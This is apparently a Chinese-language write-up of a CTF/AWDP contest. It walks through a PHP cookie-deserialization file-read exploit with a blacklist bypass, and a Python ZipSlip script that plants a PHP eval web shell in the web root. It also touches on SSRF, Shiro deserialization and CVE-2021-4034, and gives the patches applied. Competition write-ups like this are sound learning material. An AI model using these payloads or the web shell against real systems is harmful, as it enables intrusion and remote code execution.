一、开头废话 我是个fw,_| ̄|○,这场比赛8个小时,只有下午的isw的前两个小时是我的有效做题时间是的,我只写出来了shiro,其余时间都在坐牢。最后靠着学长在awdp修了一道MediaDrive拿了三等奖。
二、复盘 Break 用seay审计源码
查看这三个文件,你会发现他们都有
1 2 3 if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); }
这是cookie反序列化,同时在preview.php中存在任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $rawPath = $user ->basePath . $f ;if (preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $rawPath )) { http_response_code (403 ); echo "Access denied" ; exit ; } $convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if ($convertedPath === false || $convertedPath === "" ) { http_response_code (500 ); echo "Conversion failed" ; exit ; } $content = @file_get_contents ($convertedPath );
我们可以从代码中知道, @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);会将原始目录转换成utf-8,并忽略无法转换的字符,但是,在User.php中
1 2 3 4 5 6 7 8 9 10 11 12 <?php declare (strict_types=1 );class User { public string $name = "guest" ; public string $encoding = "UTF-8" ; public string $basePath = "/var/www/html/uploads/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } }
我们可以修改以下语句读flag
public string $encoding = "UTF-8",UTF-8换成UTF-7,在flag中夹杂utf-8无法识别的字符串绕过黑名单,比如fl%91ag
public string $basePath = "/var/www/html/uploads/";basePath换成/,用来读flag
于是exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php declare(strict_types=1); class User { public string $name = "guest"; public string $encoding = "UTF-7"; public string $basePath = "/"; public function __construct(string $name = "guest") { $this->name = $name; } } $a=new User(); echo urlencode(serialize($a));
得到:O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
最后preview.php?f=fl%91ag
flag{da151b21-e9a3-4586-a04d-ed7ecbad48f8}
fix 有一个比较取巧的方法,$rawPath = $user->basePath . $f;它是提取User类中的$basePath,而$basePath是可以通过序列化修改的。所以,我们可以将其改成$rawPath = '/var/www/html/uploads/' . $f;焊死文件读取路径,让主办方的check脚本无法读flag。
2.easy_time break
查看源码,发现有两个服务(php,python)大概率可以ssrf。
分析index.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def fetch_remote_avatar_info (url: str ): if not url: return None parsed = urllib.parse.urlparse(url) if parsed.scheme not in {"http" , "https" }: return None if not parsed.hostname: return None req = urllib.request.Request(url, method="GET" , headers={"User-Agent" : "question-app/1.0" }) try : with urllib.request.urlopen(req, timeout=3 ) as resp: content = resp.read() return { "content_snippet" : content, "status" : getattr (resp, "status" , None ), "content_type" : resp.headers.get("Content-Type" , "" ), "content_length" : resp.headers.get("Content-Length" , "" ), } except Exception: return None
函数fetch_remote_avatar_info可以打ssrf,印证了上文的说法
不过,有趣的是,主办方在zip上传相关中,给了两个截然不同的函数safe_extract_zip、safe_upload,其中,你可以看到safe_extract_zip函数具备完整的zipslip防护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def safe_extract_zip (zip_path: Path, dest_dir: Path ) -> list [str ]: dest_dir = dest_dir.resolve() extracted = [] with zipfile.ZipFile(zip_path, "r" ) as zf: for info in zf.infolist(): name = info.filename.replace("\\" , "/" ) if name.endswith("/" ): continue if name.startswith("/" ) or (len (name) >= 2 and name[1 ] == ":" ): raise ValueError("Illegal path in zip" ) target = (dest_dir / name).resolve() if os.path.commonpath([str (dest_dir), str (target)]) != str (dest_dir): raise ValueError("ZipSlip blocked" ) target.parent.mkdir(parents=True , exist_ok=True ) with zf.open (info, "r" ) as src, open (target, "wb" ) as dst: shutil.copyfileobj(src, dst) extracted.append(str (target.relative_to(dest_dir))) return extracted
但是,safe_upload没有任何防护
1 2 3 4 5 6 7 8 9 10 def safe_upload (zip_path: Path, dest_dir: Path ) -> list [str ]: with zipfile.ZipFile(zip_path, 'r' ) as z: for info in z.infolist(): target = os.path.join(dest_dir, info.filename) if info.is_dir(): os.makedirs(target, exist_ok=True ) else : os.makedirs(os.path.dirname(target), exist_ok=True ) with open (target, 'wb' ) as f: f.write(z.read(info.filename))
重点来了,在后面的web服务中,它只用safe_upload,我不明白(奉化音)它为什么不用防护拉满的safe_extract_zip?不管了,有洞不钻是SB总之,打zipslip
有exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import zipfileimport iodef zip_creat (): buffer = io.BytesIO() with zipfile.ZipFile(buffer, "w" , zipfile.ZIP_DEFLATED) as zip : path= '../../../var/www/html/1.php' content=b""" <?php @eval($_GET[1]); ?> """ zip .writestr(path, content) with open ("payload.zip" , "wb" ) as f: f.write(buffer.getvalue()) if __name__ == '__main__' : zip_creat()
前面的的登录环节没什么可说的,爆破就行
后面就是在插件上传 上传zip
打ssrf
不过,flag比较难找,在tmp里
flag{789f537c-278d-4c1e-9b86-d42c4b5ca87f
fix 修好办,换函数即可
这是我在本地起的服务,我认为防护成功
哎,补兑! 整个解法下来,和time 也没关系啊∑(O_O;) 不会是非预期罢……
3.isw0 flag1 shiro反序列化
flag2 打CVE-2021-4034